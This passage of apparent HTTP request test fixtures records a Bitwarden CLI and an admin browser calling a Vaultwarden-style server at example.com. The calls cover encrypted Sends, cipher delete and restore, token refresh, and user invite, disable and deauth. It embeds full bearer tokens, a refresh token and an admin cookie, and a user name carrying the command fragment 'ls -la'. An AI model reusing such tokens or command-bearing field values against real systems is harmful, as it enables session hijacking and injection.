eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 588", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":0,\"name\":\"2.Glf0PYqRTgKbTbYgpI+Q+g==|wO4P+lM0rq5yx5N+xkn2GPygZNVhjavM9cEUx+/2v94=|A7qL3rWJYJ1SMF/bLBqsKCtRdAhLh03sOwsIQGeT9aU=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:35.145Z\",\"key\":\"2.SoeZ4DYOUa4BrN5D0TQXOg==|5+ezaYP0oWqGQ1Yek6IQgWrhuaYmNMmPllOSxGg6vkY=|s63lHmyzot7NxlrHTT7q4b5TxkePPUzRGHJXDt38dQI=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.TWB82gm1XTK1iTFEPabm9g==|Ujlmk+y66U+x+xlLYUI45H5LT9N4cS+QzWsM0muJ7eQ=|74rS/jBPmTXAZ2WgjfBtJDmhSPt41/xO3rjgAxFZEa4=\",\"hidden\":false}}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=DRVKX8U3Rpe3LZb9xIlbmw"}
{"method": "POST", "target": "/api/sends/access", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzcsImV4cCI6MTc5NDI4MjE1NywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiMGQxNTRhNWYtYzUzNy00Njk3LWI3MmQtOTZmZGM0ODk1YjliIn0.JlU6uKcOckWNUE5p83uG1S2VuX1_ZH4T8kN1E1WuI2z305ICMAaTPys7NNAMTSP0trBFJnaW_mKBTAu891oRiO_cESJYEE80jf9wHbD4bdm93gAlGncfOvjFI5HFWc2pGVn2IaeJMfGPCmcmtHRu8fO3CxiyKFGeukQWsUGHeYuIXUufNa-mY9AOWTLEqPI0LPEBTT6OSOZMu9LziwM0KOD-TdAzl1y4qP2nD5WkOL3tn6-GUi_nh2us1Z66hI3fWebNQQ5FT7bimUBmPtnWZBcQR3VCM7vlnOHdTstwFPytZ-QThg79_vK1xrD8Ut9FVzfVNXeAu2yJ-QmTlhpAtw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/api/sends/file/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 573", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"fileLength\":81,\"name\":\"2.fIOYeJ49y9bbSOIrTWB8Tg==|lG6dTyboxM1e9/rKOgjqj5M2K8LRDZkgK9PC7mY7+iM=|ovg9kGfYJiw+Z2fkoxlIGRUbLUQvZ7W6qKhg6Ii8eZY=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:40.356Z\",\"key\":\"2.e98n46q6Bbq67Cg8g+L2zg==|MPPYMlVRv6mjAEfJxdINlsbc1h1YjLBVxdqMp5RcwSM=|ptNOZ/K5QBYQfV5duCfbJyQLtDU+D9YWqMUIuBe7ZUY=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"file\":{\"response\":null,\"fileName\":\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"}}"}
{"method": "POST", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------cd31a7a799e8e9553f39d744", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 416", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------cd31a7a799e8e9553f39d744\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"\r\nContent-Type: application/octet-stream\r\n\r\nAhGddhsKRanJRkfPJCMMp6ezfiWDHsnuvmwtF7N7UpvPnTnoowgSohWHxGCZ3ulQ8FxGy4JGqC5zUts9GZL/dLhORzIZirtS+le50pV3zlmx\r\n----------------------------cd31a7a799e8e9553f39d744--\r\n"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=zZ-UYEZUQQGMTBTwbx5prg"}
{"method": "POST", "target": "/api/sends/access/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlIn0.bBP1AOqOFHEZ9Kp5lnPPuoGpEUEVKbQe9w4LP8bVQR0mNzc8gf9X0YZ8TV8XU4rJatcvrJxf1YRPsuSL-M28cqIIBmzTXW9SzC9YwUe9DNH9zHmiTkgd9m7STn4_D8vCikyIGIpJj9wDWhNi3GGEtKjFC-luKlLS1F9KbLHhKC7iec6ZyaslQMCljBe7XeA7krTYy1ocvrAKCvkf5W_i3m7NjF-sYEvgxBg-rKHxVnJT893xvMBuAGtsnklmHEZbFZb3mgODOZ2SXAB8yOwWHQd8vcHV3Q4r7__dy2APzAgeKX1nuICV32qxs86hgkVwTTp8pldIaoJspD5dLkfexw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc?t=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlLzVhMDg3YTUyZWFhNTc5NjU3YjA0ZWViNDQzZmU3ZDcwMTljOTcwNDE3MDZkMGRjNTA4Nzc4NGQwZTBmMjE2ZGMifQ.BvfmaV_eKuWeJSumz8-bXFCPsbWIZRCWB0Laoz6knCnInLj7YY4lxh2WY1h_gnp_pHjDOFKffmGxAlIjoeV_L2lMGxUZM-Fmcc1FOQNbphWfkdEMVfGUIX_todgUgXuhn9-uwAUdC4Ff9nif4Vdg6uVwW7lw7NaY9uym4vEUw1a3F_I7a3AI1S6k3bVrUCadJiBZV8vz2-66U3g4jgQaCpjgPF-7S7CyuaWcSIyuyZpwNxa3Zzvuz1ccOWxjxjhm8-n9jvMZ3FGDf7S6o86y-aOHVRMacu7ZwhvteAO3NIPtajnChwwso0Ay1pi_4va_Mmp-HV1gyd0jD43V-vSrSw", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/delete", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/restore", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 707", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "grant_type=refresh_token&client_id=cli&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5Njg3Mzk5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiN0ZTNW1CcHIxZlJoMHdkZFBNZ0JPTGxid3Q2aW1CeWZja2p3M29HcU9NZFVUc01OSDU5dlQ2a0daUm5tT0xSdUFfYTZnalVKUFJBLThvUUlleWg2ZHc9PSIsInRva2VuIjpudWxsfQ.g8yTHdeqO507J6r5lc-ImMnTgv4ijYZKSX9JguMcKSu3fphEgKp0rPv5q56SwocChSoP9KLo7mw_PzVKvFLBP70p0NIJ6SaT26GLCy9B04gI5kiNmUT00H4-1wHUDVC_OwVLNLuTpiX-U--GdEtSSdcOqSCSo7epRyP0cCIuoZoYiDHM8uVY5DiBkzAB5wVi-_xgZPOJHVzddNq9506LqBJngbF1Bo5tVn_R8WhLmKK7mtI9tm52eOZaa5o6TXn1nNgZ3oNXcWDcyf6tj_M2fkhFOzgsuMg6YdeydOO20_GCuC0OLccj8RCzAZlMh-goA1v_yQF2RmoXJqfKBEbubA"}
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 28", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": "{\"email\":\"dave@example.com\"}"}
{"method": "POST", "target": "/admin/users/529697bc-3613-4f2c-8e60-51d23c94896a/invite/resend", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/disable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/deauth", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/admin/users/update_revision", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
